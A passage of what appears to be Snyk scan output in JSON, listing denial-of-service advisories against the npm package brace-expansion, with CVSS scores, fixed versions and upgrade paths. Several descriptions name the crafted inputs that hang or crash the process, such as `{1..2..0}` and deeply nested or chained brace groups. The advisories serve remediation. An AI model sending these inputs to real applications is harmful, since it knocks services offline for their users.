"credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", 